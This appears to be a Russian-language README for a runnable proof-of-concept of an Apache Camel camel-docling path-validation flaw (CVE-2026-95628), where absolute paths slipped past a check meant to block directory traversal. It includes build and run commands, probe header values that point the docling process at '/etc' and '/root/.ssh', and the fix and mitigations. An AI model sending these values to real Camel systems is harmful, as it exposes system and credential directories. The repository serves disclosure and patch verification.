
Рабочий воспроизводитель proof-of-concept для CVE-2026-95628 — пробела в проверке абсолютных путей в Apache Camel camel-docling, с тестовыми окружениями Spring Boot и Quarkus и проверкой исправления.
validatePathSafety не отклонял абсолютные пути (неполное исправление CVE-2026-40047)Запускаемый воспроизводитель proof-of-concept для уязвимости Apache Camel, при которой проверка пути пользовательского аргумента,
введённая исправлением CVE-2026-40047, искала только
относительный обход. Она отклоняла значение, содержащее ../, и значение, нормализованная форма которого всё ещё содержала
элемент .., — но она никогда не проверяла, является ли значение абсолютным путём, а абсолютный путь без
сегментов обхода не содержит ни того, ни другого.
| Среда выполнения | Каталог | Стек |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
Вывод на уязвимой сборке (идентичен в обеих средах выполнения):
1) A relative traversal value, which the CVE-2026-40047 fix does reject
header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
2) Traversal hidden behind redundant separators - also rejected (normalized first)
header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
3) An ABSOLUTE path, which contains no traversal sequence at all
header CamelDoclingCustomArguments = [--artifacts-path, /etc]
argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
4) The same, attached to the flag after an equals sign
header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
>>> PROVEN: ...
Зонды 1 и 2 показывают, что исправление CVE-2026-40047 работает как задумано. Зонды 3 и 4 — это пробел: флаг находится в
списке разрешённых для этого исправления (--artifacts-path указывает docling, где искать артефакты модели), и значение проходит
насквозь в обеих формах аргумента — отдельным элементом списка после флага и присоединённым после =. Сторона,
способная выбирать пользовательские аргументы, могла бы таким образом направить процесс docling в любой каталог, к которому
имеет доступ процесс Camel, за пределами рабочего каталога, в котором проверка должна была удерживать значения путей, — а это
именно тот исход, который предыдущее исправление было призвано предотвратить.
Установка docling не требуется. Изъян находится в командной строке, которую формирует Camel, поэтому опция эндпоинта
doclingCommand указывает на записывающую заглушку для CLI, которая сохраняет переданный ей вектор аргументов в файл.
Запускаются настоящие DoclingProducer, настоящие validateCustomArguments() и настоящий
validatePathSafety(); заменён только внешний инструмент.
Только режим CLI, который используется по умолчанию, передаёт пользовательские аргументы в docling.
CamelDoclingCustomArguments принадлежит пространству имён заголовков Camel, которое потребители, применяющие
фильтрацию заголовков Camel по умолчанию — например, потребители JMS и Kafka, — удаляют из входящих сообщений.
Таким образом, проблема достигается там, где маршрут передаёт значения, подверженные внешнему влиянию, в заголовок, или где
потребитель отображает входящие заголовки без такой фильтрации.
| Свойство | Значение |
|---|---|
| Компонент | camel-docling (DoclingProducer.validatePathSafety()) |
| CWE | CWE-22 (Некорректное ограничение пути к каталогу) |
| Серьёзность | Средняя |
| Вектор атаки | Абсолютный путь в качестве значения разрешённого флага, похожего на путь, в CamelDoclingCustomArguments |
| Воздействие | Направить процесс docling в любой каталог, к которому имеет доступ процесс Camel |
| Затронутые версии | С 4.15.0 до 4.18.5, с 4.19.0 до 4.22.2 |
| Исправленные версии | 4.18.5, 4.22.2, 4.23.0 |
| JIRA | CAMEL-24893 |
| Благодарность | Zhixi "Jace" Sun, независимый исследователь безопасности |
Рекомендация: https://camel.apache.org/security/CVE-2026-95628.html
Связанное: это неполное исправление CVE-2026-40047, а заголовок выходного пути того же компонента — CVE-2026-95629.
validatePathSafety теперь также отклоняет значение пользовательского аргумента, похожего на путь, если оно является абсолютным путём, завершая
обмен с IllegalArgumentException, сообщающим, что аргумент не должен быть абсолютным путём. Поскольку
проверка находится в общем вспомогательном методе, который проверяет каждое значение, похожее на путь, обе формы аргумента охвачены.
Исправлено в main в apache/camel#26738 (fd3bc8e7), перенесено
в camel-4.22.x в #26743 (e9233c37) и в camel-4.18.x
в #26744 (59d30af1).
Установите camel.version в 4.22.2 и запустите снова. Проверено на 4.22.1 → 4.22.2:
3) An ABSOLUTE path, which contains no traversal sequence at all
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path
4) The same, attached to the flag after an equals sign
REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path
>>> NOT reproduced: the absolute path was rejected too.
Не создавайте CamelDoclingCustomArguments из значений, поступающих извне развёртывания; удаляйте этот
заголовок из сообщений, приходящих извне, прежде чем они достигнут конечной точки docling; и убедитесь, что потребители,
которые сопоставляют входящие заголовки, отбрасывают пространство имён заголовков Camel, чтобы только маршрут выбирал пользовательские аргументы.
Этот репозиторий публикуется в образовательных и защитных целях: чтобы помочь пользователям Apache Camel понять уязвимость, проверить, затронуты ли они, и убедиться, что обновление устраняет её. Не используйте этот материал против систем, которыми вы не владеете и не управляете.